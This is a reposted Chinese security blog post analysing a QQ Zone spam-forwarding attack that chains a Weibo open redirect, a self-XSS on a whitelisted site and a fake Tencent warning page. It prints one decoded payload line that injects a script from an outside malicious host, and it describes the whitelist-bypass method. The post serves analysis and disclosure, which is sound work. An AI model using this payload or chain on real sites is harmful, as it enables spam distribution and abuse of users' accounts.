QQ空间流氓转发分析
2019-09-14 10:41:36 Author: mp.weixin.qq.com(查看原文) 阅读量:59 收藏

文章来源:先知社区

文章作者:M09Ic

原文链接:https://xz.aliyun.com/t/6238

写在之前

两个月前遇到多位老哥在骂,qq空间的链接一点就转发了一个封面为色情图片,内容为菠菜站的链接.我就好奇这难道是qq空间的XSS蠕虫?

BAT关键业务出了xss在9102年也不算小事情了,至少圈内会炸锅.

好奇之下,抓了个包分析.发现这是个有趣的攻击链,至少我没见过这种攻击方式.由一系列漏洞组成.

中间一段时间忘了这事,前两天翻到给微博src提交的漏洞被打回.

最后一部分转发的截图和代码忘了保留,见谅.不过这也是一个有趣的绕过qq安全机制的案例.

(貌似之前看到过有人写过分析了,昨天去找的时候又没找到,于是我又自己分析了一遍)

分析

payload

一步一步来分析.

微博任意url跳转

已经提交给微博并被驳回,因此公开应该没什么问题.

测试一下,将payload填到浏览器并用bp抓包,可以看到

follow redirection 302跳转到了某白名单网站的网站

某白名单网站self-xss

(虽然该漏洞已修复,但还是抹去相关信息)

qq空间的分享链接是有验证的,虽然不知道具体验证机制,但是大致可以猜到是白名单验证.微博显然在白名单内,而且如果是302跳转会递归验证,直到非302响应状态码.

因此不能通过302跳转到恶意网站,需要通过其他方式跳转,因此还需要个存在xss漏洞在白名单内的网站.

黑产找了一个存在get请求的self-xss的网站,并且通过js再次进行跳转绕过检测机制.

xss漏洞存在于该网站站内跳转的gourl参数,再次经过302跳转后同时指向了self-xss的js代码.

base64解码:

document.write("<script src='https://img.dafeiblog.com/web/if.php'></script>")

可以看到,再次跳转向了第三方的网站,绕过了腾讯的检测机制.

恶意域名执行转发

(因为当时在hw,只抽了几分钟大致看了一下,以为保留了该页面的恶意js代码,后来找的时候发现并没有,抱歉)

(所以这一部分主要根据我的记忆以及猜想)

该恶意网站伪造了腾讯拦截页面.成功绕过了腾讯的检测机制,然后自己弹一个.(阴险)

因为腾讯的拦截页面并不显示url,所以普通用户很难发现是伪造的.

该页面下镶嵌有恶意js代码,只有30-40行,大致是两个XHR请求的函数.

猜测功能应该是跳转到博彩网站,以及请求腾讯空间转发接口.

这时候手机端按返回键回到qq空间,就会有个弹窗,提示是否转发.选择不转发还会跳出来,强行结束qq进程才能停止弹窗.

听说低qq版本或是低安卓版本没有这个提示框,会直接转发,(我并没有验证过)

小结

利用链是这样的:

微博任意url跳转 --- 其他白名单内网站self-xss --- 跳转至恶意网站执行恶意js

这种绕过方法算是self-xss的新用法,用作绕过某些存在分享内容安全检测的应用.(至少我没见过)

因为恶意网站js代码没有保存.因此并不知道是如何实现的qq空间转发功能以及无限循环转发弹窗.

因为过程中并没有传输用户相关信息,只能猜测是qq提供了转发的api以供第三方应用调用,导致被黑产利用.

可以参考下这两篇较早的文章,虽然利用思路完全不一样.

https://www.freebuf.com/vuls/75711.html

https://www.freebuf.com/column/144879.html

你可能喜欢

记一次QQ本地快捷登录漏洞复现

腾讯QQ升级程序存在漏洞 被利用植入后门病毒


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&amp;mid=2650457302&amp;idx=1&amp;sn=08a6a9a06baa477f86e2a7c6bf68a169&amp;chksm=83bba132b4cc28248f3f69f621b92969b09499619023c973dff0db66f805c349fb328b67e882#rd
如有侵权请联系:admin#unsafe.sh